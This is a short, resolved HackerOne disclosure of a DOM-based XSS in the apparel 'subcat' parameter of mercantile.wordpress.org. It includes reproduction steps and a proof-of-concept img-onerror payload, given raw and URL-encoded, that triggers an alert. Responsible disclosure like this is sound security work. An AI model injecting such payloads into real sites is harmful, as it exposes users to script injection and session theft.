DOM Based XSS In mercantile.wordpress.org
Medium
Vulnerability Details
Hello,
There is a DOM XSS in mercantile.wordpress.org in the apparel subcat.
For example: https://mercantile.wordpress.org/product-category/apparel/?subcat=<html payload>
Steps To Reproduce
1. Go to https://mercantile.wordpress.org
2. Click on apparel
3. In the url bar add : /?subcat="><img src=x onerror=alert(document.domain)>
The domain will pop-up.
Or alternatively just click on the link to: https://mercantile.wordpress.org/product-category/apparel/?subcat=%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E
Hope this helps.
Sincerely,
Pablo
Actions
View on HackerOneReport Stats
- Report ID: 230435
- State: Closed
- Substate: resolved
- Upvotes: 21